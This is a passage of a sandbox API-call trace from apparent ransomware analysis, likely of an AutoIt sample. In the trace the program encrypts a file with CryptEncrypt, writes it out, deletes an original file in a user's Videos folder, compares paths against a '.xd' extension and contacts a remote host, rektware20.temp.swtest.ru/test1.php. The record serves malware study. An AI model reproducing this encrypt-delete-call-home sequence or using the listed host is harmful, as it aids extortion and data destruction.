wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.949] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.949] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.949] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.949] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.949] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0066.949] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0066.949] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0066.950] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0066.950] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0066.950] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0066.950] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0066.950] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0066.950] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0066.952] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0066.952] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.952] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.952] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.952] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.952] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0066.952] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0066.952] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0066.952] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0066.952] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x1621810, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptEncrypt", lpUsedDefaultChar=0x0) returned 13 [0066.953] GetProcAddress (hModule=0x74c60000, lpProcName="CryptEncrypt") returned 0x74c95bd0 [0066.953] CryptEncrypt (in: hKey=0x164c330, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x130e618*=0x10a0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x130e618*=0x10b0) returned 1 [0066.953] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.953] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.953] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.953] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.953] CharLowerBuffW (in: lpsz="byte[4273]", cchLength=0xa | out: lpsz="byte[4273]") returned 0xa [0066.953] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.953] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.953] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0066.954] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0066.954] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0066.954] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0066.954] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x1621b28, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptEncrypt", lpUsedDefaultChar=0x0) returned 13 [0066.954] GetProcAddress (hModule=0x74c60000, lpProcName="CryptEncrypt") returned 0x74c95bd0 [0066.954] CryptEncrypt (in: hKey=0x164c330, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x17bfe88*, pdwDataLen=0x130e618*=0x10a0, dwBufLen=0x10b0 | out: pbData=0x17bfe88*, pdwDataLen=0x130e618*=0x10b0) returned 1 [0066.955] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.955] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.955] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.955] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.955] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.955] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.955] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0066.955] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0066.955] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0066.955] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0066.955] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0066.955] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0066.955] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0066.955] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0066.955] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0066.956] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0066.956] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.956] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0066.956] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0066.956] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0066.957] WriteFile (in: hFile=0x2ac, lpBuffer=0x17cdea0*, nNumberOfBytesToWrite=0x10b0, lpNumberOfBytesWritten=0x130f01c, lpOverlapped=0x0 | out: lpBuffer=0x17cdea0*, lpNumberOfBytesWritten=0x130f01c*=0x10b0, lpOverlapped=0x0) returned 1 [0066.958] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0066.959] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0066.959] CharUpperBuffW (in: lpsz="_CRYPT_DESTROYKEY", cchLength=0x11 | out: lpsz="_CRYPT_DESTROYKEY") returned 0x11 [0066.959] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0066.960] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0066.960] PeekMessageW (in: lpMsg=0x130e7f4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e7f4) returned 0 [0066.960] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0066.960] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyKey", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0066.960] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyKey", cchWideChar=16, lpMultiByteStr=0x1621588, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDestroyKey", lpUsedDefaultChar=0x0) returned 16 [0066.960] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDestroyKey") returned 0x74c7fc10 [0066.961] CryptDestroyKey (hKey=0x164c330) returned 1 [0066.961] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0066.961] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0066.961] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0066.961] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0066.961] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0066.961] PeekMessageW (in: lpMsg=0x130e994, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e994) returned 0 [0066.961] PeekMessageW (in: lpMsg=0x130e994, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e994) returned 0 [0066.961] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0066.961] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0066.961] PeekMessageW (in: lpMsg=0x130e7cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e7cc) returned 0 [0066.961] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0066.961] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0066.961] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0066.962] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0066.962] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0066.962] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0066.962] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0066.962] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0066.962] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0066.962] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0066.962] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0066.962] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0066.962] PeekMessageW (in: lpMsg=0x130eaec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eaec) returned 0 [0066.962] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0066.962] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0066.962] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0066.962] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0066.962] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0066.963] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0066.964] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptReleaseContext", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0066.965] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptReleaseContext", cchWideChar=20, lpMultiByteStr=0x164df90, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptReleaseContext", lpUsedDefaultChar=0x0) returned 20 [0066.967] GetProcAddress (hModule=0x74c60000, lpProcName="CryptReleaseContext") returned 0x74c80ad0 [0066.968] CryptReleaseContext (hProv=0x17aacd0, dwFlags=0x0) returned 1 [0066.970] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0066.970] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0066.971] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0066.971] FreeLibrary (hLibModule=0x74c60000) returned 1 [0066.971] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0066.971] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0066.971] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0066.971] CloseHandle (hObject=0x3bc) returned 1 [0066.971] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0066.971] CloseHandle (hObject=0x2ac) returned 1 [0066.983] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0066.983] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0066.983] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\So-1KCafWr2NHN2gajyB\\rQaYyh8yixDrw5Fs.swf", nBufferLength=0x7fff, lpBuffer=0x12ff018, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Videos\\So-1KCafWr2NHN2gajyB\\rQaYyh8yixDrw5Fs.swf", lpFilePart=0x0) returned 0x46 [0066.983] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\So-1KCafWr2NHN2gajyB\\rQaYyh8yixDrw5Fs.swf" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\so-1kcafwr2nhn2gajyb\\rqayyh8yixdrw5fs.swf")) returned 0x20 [0066.984] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\So-1KCafWr2NHN2gajyB\\rQaYyh8yixDrw5Fs.swf", lpFindFileData=0x130f060 | out: lpFindFileData=0x130f060) returned 0x164c270 [0066.984] DeleteFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\So-1KCafWr2NHN2gajyB\\rQaYyh8yixDrw5Fs.swf" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\so-1kcafwr2nhn2gajyb\\rqayyh8yixdrw5fs.swf")) returned 1 [0066.985] FindNextFileW (in: hFindFile=0x164c270, lpFindFileData=0x130f060 | out: lpFindFileData=0x130f060) returned 0 [0066.985] FindClose (in: hFindFile=0x164c270 | out: hFindFile=0x164c270) returned 1 [0066.985] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0066.985] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0066.985] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0066.985] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0066.986] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\So-1KCafWr2NHN2gajyB\\SL471 qt10cEp_01.mkv", lpFindFileData=0x130f048 | out: lpFindFileData=0x130f048) returned 0x164d070 [0066.986] FindClose (in: hFindFile=0x164d070 | out: hFindFile=0x164d070) returned 1 [0066.986] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0066.986] InternetCrackUrlW (in: lpszUrl="http://rektware20.temp.swtest.ru/test1.php", dwUrlLength=0x2a, dwFlags=0x0, lpUrlComponents=0x130ef38 | out: lpUrlComponents=0x130ef38) returned 1 [0066.986] InternetOpenW (lpszAgent="AutoIt", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0066.986] InternetSetOptionW (hInternet=0x0, dwOption=0x32, lpBuffer=0x130ef80, dwBufferLength=0x8) returned 1 [0066.986] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x0, lpdwBufferLength=0x130ef8c | out: lpBuffer=0x0, lpdwBufferLength=0x130ef8c) returned 0 [0066.986] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x1620f10, lpdwBufferLength=0x130ef8c | out: lpBuffer=0x1620f10, lpdwBufferLength=0x130ef8c) returned 1 [0066.986] InternetConnectW (hInternet=0xcc0004, lpszServerName="rektware20.temp.swtest.ru", nServerPort=0x50, lpszUserName="", lpszPassword="", dwService=0x3, dwFlags=0x0, dwContext=0x0) returned 0xcc0008 [0066.986] HttpOpenRequestW (hConnect=0xcc0008, lpszVerb=0x0, lpszObjectName="/test1.php", lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc000c [0067.039] HttpSendRequestW (in: hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0x0, lpOptional=0x0*, dwOptionalLength=0x0 | out: lpOptional=0x0*) returned 1 [0067.040] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x20000013, lpBuffer=0x130ef40, lpdwBufferLength=0x130ef38, lpdwIndex=0x130ef3c*=0x0 | out: lpBuffer=0x130ef40*, lpdwBufferLength=0x130ef38*=0x4, lpdwIndex=0x130ef3c*=0x0) returned 1 [0067.040] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x5, lpBuffer=0x130ef5c, lpdwBufferLength=0x130ef88, lpdwIndex=0x130ef8c*=0x0 | out: lpBuffer=0x130ef5c*, lpdwBufferLength=0x130ef88*=0x2, lpdwIndex=0x130ef8c*=0x1) returned 1 [0067.040] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0x130ef3c, dwFlags=0x0, dwContext=0x0) returned 1 [0067.041] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x16292d0, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130ef40 | out: lpBuffer=0x16292d0*, lpdwNumberOfBytesRead=0x130ef40*=0x2) returned 1 [0067.043] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x16292e0, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130ef40 | out: lpBuffer=0x16292e0*, lpdwNumberOfBytesRead=0x130ef40*=0x0) returned 1 [0067.043] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0067.043] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0067.043] InternetCloseHandle (hInternet=0xcc0008) returned 0 [0067.043] CloseHandle (hObject=0x0) returned 0 [0067.043] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\So-1KCafWr2NHN2gajyB\\SL471 qt10cEp_01.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.043] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=":\\Users\\CIiHmnxMn6Ps\\Videos\\So-1KCafWr2NHN2gajyB\\SL471 qt10cEp_01.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.043] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\Users\\CIiHmnxMn6Ps\\Videos\\So-1KCafWr2NHN2gajyB\\SL471 qt10cEp_01.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.043] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Users\\CIiHmnxMn6Ps\\Videos\\So-1KCafWr2NHN2gajyB\\SL471 qt10cEp_01.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.043] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="sers\\CIiHmnxMn6Ps\\Videos\\So-1KCafWr2NHN2gajyB\\SL471 qt10cEp_01.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.043] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ers\\CIiHmnxMn6Ps\\Videos\\So-1KCafWr2NHN2gajyB\\SL471 qt10cEp_01.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.043] CompareStringW (Locale=0x400, dwCmpFlags=0x1, 